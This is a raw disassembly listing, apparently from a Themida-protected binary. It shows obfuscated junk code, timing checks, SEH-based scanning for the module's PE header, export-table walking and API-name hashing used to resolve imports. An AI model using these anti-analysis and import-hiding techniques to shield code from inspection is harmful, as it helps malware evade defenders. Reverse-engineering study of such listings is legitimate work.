byte_54AD89	db 3 dup(0)		; CODE XREF: Themida_:0054AD79j
		dd 2 dup(0)
		dd 77E7C785h, 77E7339Ch, 58248Eh, 0Fh dup(0)
		dd 0A4B134h, 0
		dd 8242904Ch, 0
		dd 0C8h, 3 dup(0)
		dd 172FFB0h, 2 dup(0)
		dd 63221B7h, 2 dup(0)
		dd offset loc_59D720+3
		dd 3A0h, 6 dup(0)
		dd 0B00000h, 0FFA685D6h, 8014FC50h, 8 dup(0)
		dd offset loc_5919A9
		align 10h
		dd 222FFB0h, 0FD2h, 11h	dup(0)
		dd 77F5168Dh, 4	dup(0)
		dd offset dword_58C824
		dd 7 dup(0)
		dd offset sub_54C6F2
		dd 24B6BD3h, 0BCh, 3 dup(0)
		dd offset dword_57F248
		dd 5 dup(0)
		dd 0A269DDh, 8EDD6157h,	2 dup(0)
		dd offset dword_5798B0
		align 10h
		dd 0A23E3Bh, 8001FCFCh,	0B97CF8B2h, 19h, 4BBDC425h, 0FFE2E586h
		dd 6 dup(0)
		dd offset dword_54A5C0+14h
		dd 4 dup(0)
		dd 12FF54h, 0
		dd 13D8E05Dh, 2	dup(0)
		dd 3CA00h, 3C39689Fh, 3	dup(0)
		dd 78326B19h, 0
		dd 77E78B82h, 5BE2F2h, 4 dup(0)
		dd offset byte_586A09
		dd 5 dup(0)
		dd 12FEF0h, 3 dup(0)
		dd 0E02BF650h, 0Fh dup(0)
		dd 400000h, 2 dup(0)
		dd 2430000h, 2 dup(0)
		dd offset byte_5834DB
		dd 5 dup(0)
		dd 77E82FE8h, 8	dup(0)
		dd 0A28C0Ah, 4 dup(0)
		dd 1, 6	dup(0)
		dd 1, 7	dup(0)
		dd 400000h, 6 dup(0)
		dd offset loc_5A5460+2
		dd 6 dup(0)
		dd offset sub_57DE8A
		dd 7 dup(0)
		dd 0FFFFFF20h, 9 dup(0)
		dd 2, 5BFFFEh, 77E75CB5h, 7FFE0304h, 5736B9h, 0
		dd offset loc_5B854C+2
		dd 4 dup(0)
		dd offset loc_5B6ED0+1
		dd 0F1BB5FDh, 2	dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A9h, 5Ch, 0
		dd 0
		dd offset dword_5BFF5C
		dd 0
		dd 644FF2DEh, 0
		dd 23h,	4 dup(0)
		dd offset byte_5B7877
		dd 4 dup(0)
		dd 0E75D8D8Dh, 6 dup(0)
		dd 6DB43739h, 6	dup(0)
		dd 4B36h, 3 dup(0)
		dd 0FFA41D0Eh, 5 dup(0)
		dd 1, 0AAFF95A0h, 2Ah, 0FFDFFFFFh, 4, 0
		dd 8730EC38h, 0
		dd 0C9AEC022h, 14h, 0
		dd 1D7A40h, 0B0h dup(0)
		dd offset word_58A792
		dd 0
		dd offset byte_580023
		dd 0Fh dup(0)
		dd 77E78B82h, 0
		dd 0FFFFE4D5h, 4 dup(0)
		dd 1FA15E9Ch, 3	dup(0)
		dd offset loc_589817
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 0A9h, 5Ch, 0
		dd 0FFA7CB25h, 0
		dd 3600h, 5 dup(0)
		dd 0A209F7h, 4 dup(0)
		dd 10h,	2 dup(0)
		dd 3ACE5D33h, 3	dup(0)
		dd 12FF54h, 5C9296h, 0
		dd 24B6B9Ch, 2 dup(0)
		dd 6784h, 2 dup(0)
		dd offset loc_59DA07+5
		dd 6 dup(0)
		dd offset dword_40F108+27Ch
		dd 0
		dd 0BBC969FAh, 9 dup(0)
		dd offset loc_5BE058+2
		dd 11111111h, 4	dup(0)
		dd 7C5AD53Ch, 0
		dd 2 dup(7FFE0304h), 0FFFFFFC8h, 9 dup(0)
		dd offset byte_54CC0B
		align 10h
		dd 74736552h, 41747261h, 652E7070h, 6578h, 549B78h, 0A47FD8h
		dd 0
		dd 58A2FE7Bh, 0
		dd 24B6B9Ch, 7A522FDBh,	5AEEF7h, 2 dup(0)
		dd 0A2915Bh, 0
		dd offset sub_401000
		dd 5 dup(0)
		dd 7FFE0304h, 5CBF6Ah, 0
		dd 0FA3A511Ch, 0
		dd 0FFFF9E2Ch, 0
		dd 7FFE0304h, 3	dup(33333333h),	0
		dd 5B871BC7h, 0
		dd 0C04Ch, 3 dup(0)
		dd offset loc_5921B0+2
		align 10h
		dd 0FFFF982Ch, 2 dup(0)
		dd offset byte_584369
		dd 0
		dd 0E80h, 21858DE1h, 4 dup(0)
		dd 0A269DDh, 4 dup(0)
		dd 7FFE0304h, 13h dup(0)
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_54B800+1 ; CODE XREF: Themida_:loc_54B800j
; ---------------------------------------------------------------------------
		dw 76DBh
		dd offset loc_5B5383
		dd 62Ch, 4 dup(0)
		dd offset loc_58A7EC
		dd 3 dup(0)
		dd 2, 6	dup(0)
		dd 77E83E68h, 0Ah dup(0)
		dd 0D0h, 6 dup(0)
		dd offset loc_58FACE
		dd 2 dup(0)
		dd 1, 0Eh dup(0)
		dd 0FFFF96ECh, 0
		dd offset dword_54A304+5
		align 8
		dd 0FFFFFFFFh, 5 dup(0)
		dd 747786EFh, 0
		dd 52B071C5h, 5	dup(0)
		dd 0B60AFF8Eh, 13D8E05Dh, 3 dup(0)
		dd 7027662Eh, 0
		dd 25D0000h, 0
		dd 7FFE0304h, 29h dup(0)
		dd offset loc_5A1ED3+5
		dd 4 dup(0)
		dd 0A9C530DFh, 0
		dd 12FFF0h, 4EBh, 0
; ---------------------------------------------------------------------------
		jmp	near ptr byte_54BAFD
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 76B41B40h, 5	dup(0)
		dd offset word_59DAFA
		dd 0A10A9Ah, 0
		dd offset loc_58E7C0
		dd 7FFE0304h, 2	dup(0)
		dd 4001E8h, 0
		db 90h
		db 9, 2	dup(0)
		align 8
		dd offset byte_5779ED
		dd 13D8E05Dh, 0A4h, 2 dup(0)
		dd offset loc_5A6BE9
		dd 641983EFh, 2	dup(0)
		dd 0A9C530DFh, 0
		dd 80000h, 2 dup(0)
		dd offset byte_5834DB
		align 10h
		dd 0B075E0h, 2 dup(0)
		dd 0D7C996E3h, 6 dup(0)
		dd 77E75CB5h, 2, 0
		dd 7FFE0304h, 0
		dd 77E82FE8h, 3	dup(0)
		db 0
byte_54BAFD	db 3 dup(0)		; CODE XREF: Themida_:0054BA14j
		dd 2 dup(0)
		db 64h,	90h
		dw 761Ch
		align 10h
		dd 6797FD4h, 0FE3A9673h, 3 dup(0)
		dd offset dword_58C824
		dd 3 dup(0)
		dd 77E7AC5Eh, 4F1E983Eh, 7FFE0304h, 3 dup(0)
		dd 7027662Eh, 6	dup(0)
		dd 0F1F3805Ch, 2 dup(0)
		dd 77E805D8h, 8	dup(0)
		dd offset word_58A792
		dd 1Bh dup(0)
		dd 0FC018D8Dh, 3 dup(0)
		dd 506D5892h, 9	dup(0)
; ---------------------------------------------------------------------------
		jmp	near ptr byte_54BE53
; ---------------------------------------------------------------------------
		align 4
		dd 3F9F8h, 5B76A3h, 587072h, 0A22BDEh, 96Ch, 0
		dd 77E77963h, 3	dup(0)
		dd 0A2A00Fh, 0
		dd 0C0h, 3 dup(0)
		dd 77EBA6E9h, 12FEF8h, 0Ch dup(0)
		dd offset byte_5B8F9D
		align 8
		dd offset byte_5834DB
		align 10h
		dd 0A269DDh, 0
		dd 7FFE0304h, 5	dup(0)
		dd offset loc_5A0332
		dd 8 dup(0)
		dd offset byte_5779ED
		dd 0
		dd 0E024F3E4h, 0
		dd 12FF64h, 4DF000h, 2 dup(0)
		dd 3B72BDBAh, 0
		dd 25E0000h, 2 dup(0)
		dd 6DB43739h, 0Ah dup(0)
		dd 0A269DDh, 5 dup(0)
		dd offset loc_57CC66
		dd 5 dup(0)
		dd 0A16Ch, 0
		dd 41100B71h, 5A0BA8h, 0
		dd 77E805D8h, 2	dup(0)
		dd 0FFED005Ch, 3 dup(0)
		dd 0E1014h, 0
		dd 77F50000h, 5	dup(0)
		dd 21858DE1h, 0
		dd offset sub_5A6227
		dd 0
		dd 0FFFF4AD6h, 5CC5C0h,	11h dup(0)
		db 3 dup(0)
byte_54BE53	db 0			; CODE XREF: Themida_:0054BC40j
		dd 70h dup(0)
		dd 94B5950Fh, 6	dup(0)
		dd 77D4C96Ah, 580023h, 2 dup(0)
		dd offset dword_5BC9F8
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		retf	0FC6Bh
; ---------------------------------------------------------------------------
		db 78h
		dd 4 dup(0)
		dd 77DD0000h, 7	dup(0)
		dd 0D546E46Ah, 6 dup(0)
		dd offset byte_5834DB
		dd 3 dup(0)
		dd 0EFh, 7FFE0304h, 5 dup(0)
		dd 9C6D8FE9h, 9E893D7h,	54A308h, 3 dup(0)
		dd offset loc_5BD6DC+1
		dd 12FFC4h, 6 dup(0)
		dd 13DFEEFFh, 57C9E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C110:				; CODE XREF: Themida_:loc_548BDFj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 614353Bh
		mov	[ebp+6143505h],	edx
		mov	[ebp+6142679h],	esi
		mov	[ebp+6142E29h],	eax
		cmp	dword ptr [ebp+6143495h], 0
		jz	short loc_54C148
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54C148:				; CODE XREF: Themida_:0054C13Aj
		mov	eax, [esp+24h]
		mov	[ebp+61410C1h],	eax
		push	45h
		call	sub_54C1FC
		push	783749Ah
		call	sub_54C242
		push	0A894B25h
		call	sub_54C242
		jmp	loc_54C386
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C1FC	proc near		; CODE XREF: Themida_:0054C154p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6143629h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54C218:				; CODE XREF: sub_54C1FC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54C237
		mov	eax, [ebp+arg_0]
		mov	[ebx+6143593h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54C218
; ---------------------------------------------------------------------------


loc_54C237:				; CODE XREF: sub_54C1FC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54C1FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54C242	proc near		; CODE XREF: Themida_:0054C15Ep
					; Themida_:0054C168p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6143672h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54C268:				; CODE XREF: sub_54C242+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54C268
		mov	[ebp+var_84], 0
		lea	edi, [edx+6143593h]
		lea	esi, [ebp+var_80]


loc_54C298:				; CODE XREF: sub_54C242+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54C2A4:				; CODE XREF: sub_54C242+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54C2A4
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54C298
		popa
		leave
		retn	4
sub_54C242	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54C2E2
; ---------------------------------------------------------------------------


loc_54C2DE:				; CODE XREF: Themida_:0054C2E5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54C2E2:				; CODE XREF: Themida_:0054C2DCj
		cmp	byte ptr [esi],	0
		jnz	short loc_54C2DE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54C373
; ---------------------------------------------------------------------------


loc_54C2F4:				; CODE XREF: Themida_:0054C376j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54C36A
; ---------------------------------------------------------------------------


loc_54C2FD:				; CODE XREF: Themida_:0054C36Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54C357
; ---------------------------------------------------------------------------


loc_54C30D:				; CODE XREF: Themida_:0054C35Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54C32F
		cmp	bl, 39h
		ja	short loc_54C32F
		sub	bl, 30h
		jmp	short loc_54C351
; ---------------------------------------------------------------------------


loc_54C32F:				; CODE XREF: Themida_:0054C323j
					; Themida_:0054C328j
		cmp	bl, 61h
		jb	short loc_54C341
		cmp	bl, 66h
		ja	short loc_54C341
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54C351
; ---------------------------------------------------------------------------


loc_54C341:				; CODE XREF: Themida_:0054C332j
					; Themida_:0054C337j
		cmp	bl, 41h
		jb	short loc_54C351
		cmp	bl, 46h
		ja	short loc_54C351
		sub	bl, 41h
		add	bl, 0Ah


loc_54C351:				; CODE XREF: Themida_:0054C32Dj
					; Themida_:0054C33Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54C357:				; CODE XREF: Themida_:0054C30Bj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54C30D
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54C367
		mov	eax, [ebp-10h]
		stosb


loc_54C367:				; CODE XREF: Themida_:0054C361j
		inc	dword ptr [ebp-8]


loc_54C36A:				; CODE XREF: Themida_:0054C2FBj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54C2FD
		add	edx, 4


loc_54C373:				; CODE XREF: Themida_:0054C2F2j
		cmp	edx, [ebp-4]
		jb	loc_54C2F4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_54C386:				; CODE XREF: Themida_:0054C16Dj
		mov	ecx, 7000h
		lea	edi, [ebp+61437B8h]


loc_54C391:				; CODE XREF: Themida_:0054C395j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54C391
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+614388Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jp	loc_54C3D8
		jnb	loc_54C3D8
		jmp	loc_54C3D8
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0B45155DEh
; ---------------------------------------------------------------------------


loc_54C3D8:				; CODE XREF: Themida_:0054C3C2j
					; Themida_:0054C3C8j ...
		sub	eax, edx
		mov	bl, al
		and	eax, 0FFFFF000h
		mov	ecx, edx
		xor	edi, edi


loc_54C3E5:				; CODE XREF: Themida_:0054C400j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54C3FA
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54C402


loc_54C3FA:				; CODE XREF: Themida_:0054C3EAj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54C3E5
; ---------------------------------------------------------------------------


loc_54C402:				; CODE XREF: Themida_:0054C3F8j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+61438A2h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54C43C
		mov	esi, [eax+1Ch]


loc_54C43C:				; CODE XREF: Themida_:0054C437j
		xor	eax, eax


loc_54C43E:				; CODE XREF: Themida_:0054C451j
		cmp	eax, 32h
		jz	short loc_54C462
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54C453


loc_54C44A:				; CODE XREF: Themida_:0054C460j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54C43E
; ---------------------------------------------------------------------------


loc_54C453:				; CODE XREF: Themida_:0054C448j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54C4A4
		jmp	short loc_54C44A
; ---------------------------------------------------------------------------


loc_54C462:				; CODE XREF: Themida_:0054C441j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61438ADh
		lea	eax, [ebp+614386Bh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_54C4A4:				; CODE XREF: Themida_:0054C45Ej
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	esi
		call	sub_54C4BA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54C4BA	proc near		; CODE XREF: Themida_:0054C4B2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_54C4BA	endp

; ---------------------------------------------------------------------------
		dw 9A70h
		dd 0D988E77h, 2444BB66h, 0BBD98C66h, 30673C80h,	0B704E180h
		dd 0FC90A37h, 1E85h, 85C7FC00h,	61412CDh, 1, 3DE957B3h
		dd 0F9000000h, 6E9h, 37A42C00h,	0C7451003h, 1412CD85h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0C5F36FCAh, 0DB9FC46Fh, 0DA8B8E8Fh
		dd 11458589h, 7E90614h,	23000000h, 4246C19h, 8589D8E9h
		dd 6141AD1h, 13E8h, 1CA13C00h, 0C7859AEEh, 8AD66222h, 0A8E99B3h
		dd 0DBE7900Ch, 7E9h, 0EE888800h, 74C66E2Eh, 0BE859h, 0CB00000h
		dd 713F3D56h, 0B04F2CF2h, 0FDBF51FFh, 5B0DC2FFh, 3BC1815Bh
		dd 0BA000067h, 3155CA00h, 4F9AC281h, 840FCEAAh,	3, 0FFC7BF0Fh
		dd 0F88B6631h, 3890F5Eh, 0F000000h, 0EE81C7B7h,	2B84791Fh
		dd 0F681AFB4h, 3E1C794Fh, 0C681C2B7h, 14132BEDh, 0A8BF6653h
		dd 31895F5Ch, 0E983E18Ah, 8770B804h, 0F4A58BCh,	2385h
		dd 0CE900h, 3ED70000h, 0FEB3217Fh, 5789B069h, 31E954C2h
		dd 0E3000000h, 5429C2AAh, 5BC791Dh, 0E1113358h,	0EE9h
		dd 19F38300h, 0BDCFD19Ch, 0E7135270h, 0E9C600A4h, 0FFFFFF87h
		dd 7DC1D3C6h, 6FD55D29h, 61612294h, 11E8h, 6B80B600h, 84DEA8B3h
		dd 4A16B845h, 841483DCh, 8166C20Bh, 5E0AD7E8h, 81CABF0Fh
		dd 63EDC6h, 0B9CA8100h,	2B28FDAEh, 3BEEB9DBh, 3C8B2C9Eh
		dd 6830F1Eh, 81000000h,	672479E1h, 0BCF78168h, 0F2DE342h
		dd 1389h, 0D800F00h, 0E8000000h, 7, 0E26B01B3h,	5965DC54h
		dd 46ABC781h, 816656A0h, 81D966CAh, 0C59EC4EFh,	89D78B68h
		dd 3AB91E3Ch, 0B9492C77h, 1F3A382h, 0C724EB81h,	12E906B6h
		dd 14000000h, 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h
		dd 20C381DCh, 8006B6C7h, 0FB8146D4h, 0FFFF9CC4h, 0FF80850Fh
		dd 820FFFFFh, 2, 4EB6AB0h, 215h, 6F6E9h
		db 0, 0F9h

; =============== S U B	R O U T	I N E =======================================



sub_54C6F2	proc near		; DATA XREF: Themida_:0054AEF0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		pusha
		mov	eax, 3B72BDBAh
		mov	[ebp+6143155h],	eax
		popa
		mov	eax, 0
		mov	[ebp+6142455h],	edi
		mov	edx, [esp+20h+arg_4]
		mov	[ebp+6140D4Dh],	ecx
		sub	[ebp+6142611h],	ecx
		mov	[ebp+61402F5h],	eax
		pusha
		jb	loc_54C72E
		mov	edi, [ebp+614239Dh]


loc_54C72E:				; CODE XREF: sub_54C6F2+30j
		movsx	eax, di
		popa
		stc
		mov	esi, 3Ch
		jmp	loc_54C74B
; ---------------------------------------------------------------------------
		adc	[edi-17h], ebx
		rcl	dword ptr [edx+723DBB51h], 1
		icebp
		sbb	edx, esi
		add	al, 2Fh


loc_54C74B:				; CODE XREF: sub_54C6F2+46j
		add	esi, [esp+20h+arg_0]
		pusha
		call	near ptr loc_54C75F+9
		inc	eax
		test	al, 0C5h
		mov	dh, 5Fh
		in	al, 93h
		inc	edi
		bound	ecx, [ecx]


loc_54C75F:				; CODE XREF: sub_54C6F2+5Ep
		mov	dword ptr [esi-37DB7FD7h], 0B1BA0D85h
sub_54C6F2	endp ; sp-analysis failed

		adc	[eax-75h], bl
		shl	dword ptr [ecx+66h], 1
		lodsd
		jmp	loc_54C783
; ---------------------------------------------------------------------------
		db 1Eh,	6Eh, 36h
		dd 0AB6A6A63h, 0CF7CE3BAh
		db 0BEh, 0F6h, 69h
; ---------------------------------------------------------------------------


loc_54C783:				; CODE XREF: Themida_:0054C770j
		add	eax, [esp+24h]
		mov	[ebp+6140A41h],	ebx
		push	eax
		jmp	loc_54C7A0
; ---------------------------------------------------------------------------
		db 29h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		sbb	ebp, ebx
		push	esi
		or	al, 3Ch
		jmp	fword ptr [edx+edx*8-3Bh]
; ---------------------------------------------------------------------------
		dw 9E28h
; ---------------------------------------------------------------------------


loc_54C7A0:				; CODE XREF: Themida_:0054C78Ej
		mov	[esp], eax
		sub	[ebp+614042Dh],	edi
		mov	eax, [eax+78h]
		pusha
		sub	[ebp+6142115h],	edx
		or	esi, [ebp+61434BDh]
		popa
		jnz	loc_54C7C6
		mov	[ebp+6141505h],	edi


loc_54C7C6:				; CODE XREF: Themida_:0054C7BAj
		add	eax, [esp+28h]
		mov	[ebp+61429C1h],	ebx
		mov	eax, [eax+18h]
		or	[ebp+61400B1h],	edx
		inc	eax
		pusha
		or	dh, 1Dh
		popa
		mov	[ebp+6143B09h],	eax
		jz	loc_54C7F5
		pusha
		mov	eax, [ebp+6141685h]
		mov	ebx, ecx
		popa


loc_54C7F5:				; CODE XREF: Themida_:0054C7E5j
		pop	eax
		clc
		mov	esi, [eax+78h]
		cld
		add	esi, 1Ch
		jmp	loc_54C814
; ---------------------------------------------------------------------------
		imul	ebx, [edi-7Dh],	69h
		retn
; ---------------------------------------------------------------------------
		dd 165B5768h, 7028C75Bh, 3E0C9897h
; ---------------------------------------------------------------------------


loc_54C814:				; CODE XREF: Themida_:0054C7FEj
		add	esi, [esp+24h]
		sub	[ebp+6143169h],	ecx
		lea	edi, [ebp+61418F1h]
		jg	loc_54C836
		jg	loc_54C836
		mov	[ebp+6141909h],	esi


loc_54C836:				; CODE XREF: Themida_:0054C824j
					; Themida_:0054C82Aj
		lodsd
		xor	[ebp+6141BE9h],	ecx
		add	eax, [esp+24h]
		jbe	loc_54C848
		stc


loc_54C848:				; CODE XREF: Themida_:0054C841j
		stosd
		stc
		lea	edi, [ebp+61409D9h]
		jg	loc_54C864
		pusha
		mov	edx, [ebp+61430F1h]
		mov	[ebp+614044Dh],	ecx
		popa


loc_54C864:				; CODE XREF: Themida_:0054C850j
		lodsd
		pusha
		pusha
		call	near ptr loc_54C86E+3
		sub	ebp, edx


loc_54C86E:				; CODE XREF: Themida_:0054C867p
		shr	dword ptr [ebp+961584Ch], 1
		test	[ebp+25h], edi
		adc	al, 6
		popa
		jno	loc_54C896
		pusha
		jmp	loc_54C88F
; ---------------------------------------------------------------------------
		dw 38C1h
		dd 8B4E2160h
		db 8Dh,	0A1h, 83h
; ---------------------------------------------------------------------------


loc_54C88F:				; CODE XREF: Themida_:0054C881j
		sbb	ebx, 656BDB8Ch
		popa


loc_54C896:				; CODE XREF: Themida_:0054C87Aj
		add	eax, [esp+24h]
		sub	[ebp+6141D15h],	edx
		nop
		jmp	loc_54C8BA
; ---------------------------------------------------------------------------
		mov	ds:0D1A6C9C9h, al
		adc	[edi+1Ah], edx
		mov	ch, 0Ah
		sub	dword ptr [esi+7E32E9CEh], 0BABE2B04h


loc_54C8BA:				; CODE XREF: Themida_:0054C8A1j
		push	eax
		push	eax
		push	edx
		pusha
		jl	$+6
		popa
		rdtsc


loc_54C8C7:				; CODE XREF: Themida_:0054C8FDj
		jmp	loc_54C8D6
; ---------------------------------------------------------------------------
		db 0CCh
		db 0Eh,	71h, 13h
; ---------------------------------------------------------------------------
		or	al, 2Bh
		cmpsb
		xchg	eax, ebx
		or	esi, edx


loc_54C8D6:				; CODE XREF: Themida_:loc_54C8C7j
		pop	edx
		pop	eax
		nop
		jnb	loc_54C8E5
		or	[ebp+61412D1h],	eax


loc_54C8E5:				; CODE XREF: Themida_:0054C8D9j
		stosd
		jmp	loc_54C8FF
; ---------------------------------------------------------------------------
		db 83h
		dd 940A6609h, 456B725Fh, 0D8A2EC65h, 41F427C9h
; ---------------------------------------------------------------------------
		dec	edi
		jg	short loc_54C8C7


loc_54C8FF:				; CODE XREF: Themida_:0054C8E6j
		lea	edi, [ebp+6140381h]
		mov	[ebp+6142F0Dh],	eax
		pusha
		movzx	edx, cx
		mov	esi, [ebp+6143101h]
		popa
		lodsd
		mov	[ebp+61425B5h],	ebx
		mov	[ebp+6140F81h],	eax
		add	eax, [esp+28h]
		xor	[ebp+614056Dh],	ecx
		stosd
		mov	[ebp+6140BE5h],	eax
		pop	esi
		xor	[ebp+6142199h],	esi


loc_54C93B:				; CODE XREF: Themida_:0054C9C7j
		dec	dword ptr [ebp+6143B09h]
		cmp	dword ptr [ebp+6143B09h], 0
		jnz	short loc_54C95A
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+6143FDDh]
		jmp	esi
; ---------------------------------------------------------------------------


loc_54C95A:				; CODE XREF: Themida_:0054C948j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+6141A59h]
		test	al, al
		jz	short loc_54C971
		cmp	al, [edi]
		jnz	short loc_54C9BD


loc_54C971:				; CODE XREF: Themida_:0054C96Bj
		push	edi
		xor	al, al


loc_54C974:				; CODE XREF: Themida_:0054C975j
		scasb
		jnz	short loc_54C974
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_54C981:				; CODE XREF: Themida_:0054C9AAj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_54C990:				; CODE XREF: Themida_:0054C9A3j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_54C9A1
		xor	ax, 5041h
		xor	bx, 5449h


loc_54C9A1:				; CODE XREF: Themida_:0054C996j
		dec	dh
		jnz	short loc_54C990
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_54C981
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_54C9CC


loc_54C9BD:				; CODE XREF: Themida_:0054C96Fj
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+61402F5h]
		jmp	loc_54C93B
; ---------------------------------------------------------------------------


loc_54C9CC:				; CODE XREF: Themida_:0054C9BBj
		pop	esi
		pusha
		sub	[ebp+6142375h],	ecx
		mov	cl, 28h
		popa
		jg	loc_54C9E3
		pusha
		mov	bl, 1Bh
		mov	cl, 0Bh
		popa


loc_54C9E3:				; CODE XREF: Themida_:0054C9D7j
		mov	eax, [ebp+61402F5h]
		sub	[ebp+6142EDDh],	edx
		shl	eax, 1
		jle	loc_54C9FD
		mov	[ebp+6142D69h],	edi


loc_54C9FD:				; CODE XREF: Themida_:0054C9F1j
		add	eax, [ebp+6140381h]
		pusha
		pusha
		mov	si, 4487h
		popa
		movzx	ecx, dx
		popa
		sub	esi, esi
